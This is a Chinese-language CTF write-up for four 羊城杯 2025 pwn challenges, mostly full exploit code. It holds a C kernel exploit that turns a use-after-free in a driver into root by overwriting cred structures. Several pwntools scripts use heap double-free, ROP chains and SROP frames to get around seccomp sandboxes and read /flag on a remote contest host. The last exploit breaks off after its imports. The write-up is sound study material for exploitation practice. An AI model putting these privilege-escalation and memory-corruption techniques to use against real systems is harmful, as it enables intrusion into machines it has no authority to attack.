[羊城杯 2025] Pwn write-up

本文总阅读量

baby_kk

内核Pwn题,但是漏洞很明显,现在可以算是签到题了

防护检查

没有给Kconfig,脚本可以看出开了smep/smap kaslr,在调试时发现开了CONFIG_RANDOM_KMALLOC_CACHES, CONFIG_SLAB_FREELIST_HARDENED等,应该基本上是全开了

又是那个华为搞出来的缓解措施

基本信息

基本信息如下所示

1
2
3
4
5
6
Kernel version: 6.14.0
ioctl: 0x1111, 0x2222, 0x3333, 0x4444
0x1111: alloc kmalloc-rnd-09-256 0x100
0x2222: free
0x3333: copy_from_user (no valid?)
0x4444: copy_to_user (no valid?)

漏洞利用

逆向可能有点抽象,不过应该能看出来向用户态传入传出数据时是完全没有检验堆块是否存在的,因此有一个很强大的UAF漏洞

其实调试一下也能看出来

而且我们能够申请很多的堆块,这里是高版本内核,直接申请完全一块free了就能触发free_slab(),最终释放页

没必要构建复杂的cross-cache attack攻击链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int main() {
// ...
struct user *alloc = malloc(sizeof(struct user));
struct user *edit = malloc(sizeof(struct user));
struct user *free = malloc(sizeof(struct user));
struct user *recv = malloc(sizeof(struct user));

char *edit_buf = malloc(0x100);
char *recv_buf = malloc(0x100);

// We find that it has UAF!
//
#define NUMS 0x480
// INFO: Step 0x02: alloc
step("alloc many pages");
for (int i = 0; i < NUMS; ++i) {
alloc->obj = 0;
alloc->size = 0x100;
alloc->idx = i;
check(ioctl(fd, 0x1111, alloc));

memset(edit_buf, i & 0xff, 0x30);
memcpy(edit_buf + 0x20, "alloc_k", 0x8);
edit->obj = (uint64_t *)edit_buf;
edit->size = 0x100;
edit->idx = i;
check(ioctl(fd, 0x3333, edit));
}
info("alloc %#x slabs\n", NUMS);

for (int i = 0; i < NUMS; ++i) {
free->idx = i;
free->obj = (uint64_t *)0;
free->size = 0x0;
check(ioctl(fd, 0x2222, free));
}
info("free them all\n");

success("Now we have many UAF pages\n");
// ...
}

之后我们就spray cred_jar,然后再fork大量的子进程,由于我们可以任意读写UAF page的内容,我们直接寻找符合条件的cred_jar修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int main() {
// ...
// INFO: Step 0x03: fork
step("Fork!");

for (int i = 0; i < 0x20; ++i) {
check(setuid(1000));
}
info("spray cred_jar\n");

for (int i = 0; i < 0x200; ++i) {
if (!check(fork())) {
while (1) {
shell_noerr();
sleep(0x1);
}
exit(0);
}
}

info("fork done\n");

// INFO: Step 0x04: recv
step("recv them and write to root!");

for (int i = 0; i < NUMS; ++i) {
recv->obj = (uint64_t *)recv_buf;
recv->size = 0x100;
recv->idx = i;
check(ioctl(fd, 0x4444, recv));

uint64_t *check_buf = (uint64_t *)recv_buf;
memset(edit_buf, 0, 0x100);
if ((recv_buf[0] & 0xff) != (i & 0xff) &&
memcmp(recv_buf, edit_buf, 0x100)) {

// info("recv %d: \n", i);
if (check_buf[1] == 0x3e8000003e8) {
success("found cred jar!\n");
info("recv %d: \n", i);
dump_hex(recv_buf, 0x100);

memset(edit_buf, 0, 0x100);
edit_buf[0] = recv_buf[0];
edit->obj = (uint64_t *)edit_buf;
edit->size = 0x20;
edit->idx = i;
check(ioctl(fd, 0x3333, edit));
sleep(100);
}
}
}
// ...
}

直接找uid gid suid啥的为1000(0x3e8)的字段,找到了就把它们改成0即可,注意不要改多了,不然会Kernel Panic

baby_kk

Exp

赛后修改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <stdio.h>
#define _GNU_SOURCE

#include <stdlib.h>
#include <string.h>
// #include "./bpf_insn.h"
#include <arpa/inet.h>
// #include <keyutils.h>
// #include <linux/if_packet.h>
// #include <linux/userfaultfd.h>
#include <fcntl.h>
#include <net/if.h> // 添加 if_nametoindex 函数的头文件
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <threads.h>
#include <unistd.h>

#include "./klog.h"
#include "./kpwn.h"

void __attribute__((constructor)) init() {
bind_cpu(0);
adjust_rlimit();
page_size = sysconf(_SC_PAGESIZE);
info("page size: %#lx\n", page_size);
}

struct user // sizeof=0x18
{
uint64_t *obj;
uint64_t size;
uint64_t idx;
};

const char *device = "/dev/baby_kk";

// NOTE: Linux Kernel exploit template
// Kernel version: 6.14.0
// ioctl: 0x1111, 0x2222, 0x3333, 0x4444
// 0x1111: alloc kmalloc-rnd-09-256 0x100
// 0x2222: free
// 0x3333: copy_from_user (no valid?)
// 0x4444: copy_to_user (no valid?)
int main() {
// INFO: Step 0x01: open device
step("open device");

save_stat();
int fd = check(open(device, 2));
success("device open successfully\n");

struct user *alloc = malloc(sizeof(struct user));
struct user *edit = malloc(sizeof(struct user));
struct user *free = malloc(sizeof(struct user));
struct user *recv = malloc(sizeof(struct user));

char *edit_buf = malloc(0x100);
char *recv_buf = malloc(0x100);

// We find that it has UAF!
//
#define NUMS 0x480
// INFO: Step 0x02: alloc
step("alloc many pages");
for (int i = 0; i < NUMS; ++i) {
alloc->obj = 0;
alloc->size = 0x100;
alloc->idx = i;
check(ioctl(fd, 0x1111, alloc));

memset(edit_buf, i & 0xff, 0x30);
memcpy(edit_buf + 0x20, "alloc_k", 0x8);
edit->obj = (uint64_t *)edit_buf;
edit->size = 0x100;
edit->idx = i;
check(ioctl(fd, 0x3333, edit));
}
info("alloc %#x slabs\n", NUMS);

for (int i = 0; i < NUMS; ++i) {
free->idx = i;
free->obj = (uint64_t *)0;
free->size = 0x0;
check(ioctl(fd, 0x2222, free));
}
info("free them all\n");

success("Now we have many UAF pages\n");

// INFO: Step 0x03: fork
step("Fork!");

for (int i = 0; i < 0x20; ++i) {
check(setuid(1000));
}
info("spray cred_jar\n");

for (int i = 0; i < 0x200; ++i) {
if (!check(fork())) {
while (1) {
shell_noerr();
sleep(0x1);
}
exit(0);
}
}

info("fork done\n");

// INFO: Step 0x04: recv
step("recv them and write to root!");

for (int i = 0; i < NUMS; ++i) {
recv->obj = (uint64_t *)recv_buf;
recv->size = 0x100;
recv->idx = i;
check(ioctl(fd, 0x4444, recv));

uint64_t *check_buf = (uint64_t *)recv_buf;
memset(edit_buf, 0, 0x100);
if ((recv_buf[0] & 0xff) != (i & 0xff) &&
memcmp(recv_buf, edit_buf, 0x100)) {

// info("recv %d: \n", i);
if (check_buf[1] == 0x3e8000003e8) {
success("found cred jar!\n");
info("recv %d: \n", i);
dump_hex(recv_buf, 0x100);

memset(edit_buf, 0, 0x100);
edit_buf[0] = recv_buf[0];
edit->obj = (uint64_t *)edit_buf;
edit->size = 0x20;
edit->idx = i;
check(ioctl(fd, 0x3333, edit));
sleep(100);
}
}
}

for (;;) {
info("sleep\n");
sleep(0x100);
}
info("finish\n");

return 0;
}

malloc

漏洞利用

开了沙箱的“堆”题,其实堆分配和释放逻辑是自己写的,比较简单

malloc1

malloc2

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

调试发现是在bss段上有一个top chunk类似物,检验是否有double free的递归深度竟然比能够申请堆块数量还少

因此可以double free,稍微配合一下能够任意读写,之后就构造ROP链ORW就行了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
from pwn import *
from ctypes import *

# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["kitty"]
binary_path = "./malloc/pwn"
libc_path = "./malloc/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "45.40.247.139", 31685
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#

def add(idx, size):
p.sendlineafter(b"=======================\n", b"1")
p.sendlineafter(b"Index\n", str(idx).encode())
p.sendlineafter(b"size\n", str(size).encode())


def delete(idx):
p.sendlineafter(b"=======================\n", b"2")
p.sendlineafter(b"Index\n", str(idx).encode())


def edit(idx, size, content):
p.sendlineafter(b"=======================\n", b"3")
p.sendlineafter(b"Index\n", str(idx).encode())
p.sendlineafter(b"size\n", str(size).encode())
p.send(content)


def show(idx):
p.sendlineafter(b"=======================\n", b"4")
p.sendlineafter(b"Index\n", str(idx).encode())


# 0x10 -> 0x70

add(0, 0x10)
add(1, 0x10)
add(2, 0x10)

delete(1)
delete(0)

show(0)

addr = recv(b'\n')
text_addr = addr - 0x5000 - 0x220
stdout_addr = text_addr + 0x4060

delete(2)


for i in range(0xf):
add(i, 0x70)
edit(i, 0x70, b"a" * 0x70)

for i in range(0xf):
delete(i)

delete(0)
for i in range(0xf):
add(i, 0x70)
edit(i, 0x70, p64(stdout_addr) + b'b' * 0x68)


add(0x10, 0x70)
# 0 <=> 0x10

ls(addr)
ls(text_addr)

add(0x10, 0x70)

edit(0x10, 0x50, b"a" * 0x4f + b'|')

show(0x10)
p.recvuntil(b'|')

stdout = recv(b'\n')
libc_addr = stdout - libc.sym["_IO_2_1_stdout_"]
environ = libc_addr + libc.sym["environ"]

edit(0x10, 0x50, p64(environ - 0x10) + p64(stdout_addr) +
b"/flag\x00\x00\x00" + p64(stdout_addr) * 7)
add(0x0, 0x50)
show(0x0)

stack_addr = recv(b'\n')
ret_addr = stack_addr - 0x140

'''
0x000000000002a3e5: pop rdi; ret;
0x000000000002be51: pop rsi; ret;
0x00000000000904a9: pop rdx; pop rbx; ret;
'''


open = libc_addr + libc.sym["open"]
read = libc_addr + libc.sym["read"]
write = libc_addr + libc.sym["write"]
pop_rdi = libc_addr + 0x000000000002a3e5
pop_rsi = libc_addr + 0x000000000002be51
pop_rdx = libc_addr + 0x00000000000904a9

add(0x10, 0x60)
edit(0x10, 0x10, p64(ret_addr - 0x10))

payload = p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(ret_addr + 0x40)
payload += p64(pop_rdx)
payload += p64(0x1000)
payload += p64(0x1000)
payload += p64(read)

add(0x0, 0x50)

ls(stack_addr)
ls(ret_addr)
ls(stdout)
ls(libc_addr)

edit(0x0, 0x40, payload)

addr = text_addr + 0x4080

payload = p64(pop_rdi)
payload += p64(addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(0)
payload += p64(open)

payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(addr)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(0x100)
payload += p64(read)

payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(addr)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(0x100)
payload += p64(write)


sleep(1)
dbg(p)
p.send(payload)
# edit(0x0, 0x10, p64(stdout_addr))


p.interactive()

stack

漏洞利用

逆向,发现有一个很长的“栈”溢出。不仔细看的话没什么,调试的时候就能发现问题

stack0

该题目的栈事实上在堆上,看汇编可以看出来rsp变了

stack1

而且还开了沙箱,不过很容易绕过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0015
0006: 0x15 0x08 0x00 0x00000003 if (A == close) goto 0015
0007: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0015
0008: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0015
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0015
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

openatsendfile就行了

漏洞利用链用的是SROP,接着自带的gadget利用链,泄漏完就基本完事了

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["kitty"]
binary_path = "./stack/stack"
libc_path = "./stack/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "45.40.247.139", 18353
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#

payload = b"a" * 0x100
payload += p64(0x0) + b'\x5f'
p.sendafter(b"luck!\n", payload)

p.recvuntil(b":")

base_addr = 0

somefunc = int(p.recvuntil(b"\n"))
if ((somefunc // 3 - 0x16B0) & 0xfff) == 0:
base_addr = somefunc // 3 - 0x16B0
elif ((somefunc // 4 - 0x16B0) & 0xfff) == 0:
base_addr = somefunc // 4 - 0x16B0
elif ((somefunc // 5 - 0x16B0) & 0xfff) == 0:
base_addr = somefunc // 5 - 0x16B0

ls(base_addr)

repeat_addr = base_addr + 0x160A
puts_got = base_addr + elf.got["puts"]
puts_plt = base_addr + elf.plt["puts"]
syscall = base_addr + 0x134F

sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x0 # "/bin/sh" 's addr
sigframe.rsi = base_addr + 0x4018 - 0x8
sigframe.rdx = 0x2000
sigframe.rsp = 0x0
sigframe.rip = base_addr + 0x168C

bss_addr = base_addr + 0x4008
vuln_addr = base_addr + 0x161f
eax_0_addr = base_addr + 0x0000000000001615

payload = b"a" * 0x100
payload += p64(0x0) + p64(repeat_addr)
payload += p64(0) + p64(syscall)
payload += p64(0) + p64(syscall)
payload += bytes(sigframe)

# print(len(payload)) 0x228
p.sendafter(b"luck!\n", payload)

sleep(1)
p.send(b"a" * 15)

sleep(1)
p.send(p64(syscall) + p64(bss_addr)[:-1])

sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x1
sigframe.rsi = puts_got # "/bin/sh" 's addr
sigframe.rdx = 0x8
sigframe.rsp = bss_addr + 0x190 - 0x10
sigframe.rip = syscall

sleep(1)
payload = p64(bss_addr)
payload += p64(bss_addr + 0x180)
payload += p64(eax_0_addr)
payload += p64(0)
payload += p64(syscall)
payload += p64(0)
payload += p64(syscall)
payload += bytes(sigframe)
payload = payload.ljust(0x180, b"a")
payload += p64(base_addr + 0x1642)

p.send(payload)

sleep(1)
p.send(p64(bss_addr + 0x180) + b"a" * 7)

libc_base = u64(p.recvn(8)) - libc.sym["puts"]
'''
0x0000000000045eb0: pop rax; ret;
0x0000000000091316: syscall; ret;
'''

pop_rax = libc_base + 0x0000000000045eb0
syscall_libc = libc_base + 0x0000000000091316


sleep(1)

ls(libc_base)
# dbg(p)
payload = b"/flag\x00\x00\x00"
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall_libc)

flag_addr = base_addr + 0x4188

sigframe = SigreturnFrame()
sigframe.rax = 257
sigframe.rdi = -100
sigframe.rsi = flag_addr # "/bin/sh" 's addr
sigframe.rsp = base_addr + 0x42a8
sigframe.rip = syscall_libc

payload += bytes(sigframe)
payload += b"ccccdddd"

payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall_libc)

sigframe = SigreturnFrame()
sigframe.rax = 40
sigframe.rdi = 1
sigframe.rsi = 3
sigframe.rdx = bss_addr + 0xc00
sigframe.r10 = 0x100
sigframe.rsp = base_addr + 0x42a8
sigframe.rip = syscall_libc

payload += bytes(sigframe)
payload += b"eeeeffff"
p.send(payload)

p.interactive()

mvmps

漏洞利用

虚拟机pwn,逆向就完了

操作码大概如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
opcode:

000000_00

0000_0000_XX_03 =>
reg0 = XX
reg1 = ins

oplist1

YY_XX_02 =>
reg0 = XX
reg1 = YY

oplist2

XX_01 =>
reg0 = XX

oplist3

CC_BB_AA_00 =>
reg0 = 00AA_BBCC

oplist4

两个重要的结构体的大致复原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
00000000 struct vm // sizeof=0x70
00000000 {
00000000 char *opcodes;
00000008 __int32 curr;
0000000C __int32 pad;
00000010 __int64 regs[6];
00000040 __int64 size;
00000048 char flag;
00000049 // padding byte
0000004A // padding byte
0000004B // padding byte
0000004C __int32 stack[8];
0000006C // padding byte
0000006D // padding byte
0000006E // padding byte
0000006F // padding byte
00000070 };

00000000 struct ops // sizeof=0xC
00000000 {
00000000 char op[4];
00000004 int reg[2];
0000000C };

逆向完发现可以调用read函数和write函数,参数全是可控的,且程序没开PIE

直接读got泄漏,然后改write的got为system即可

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

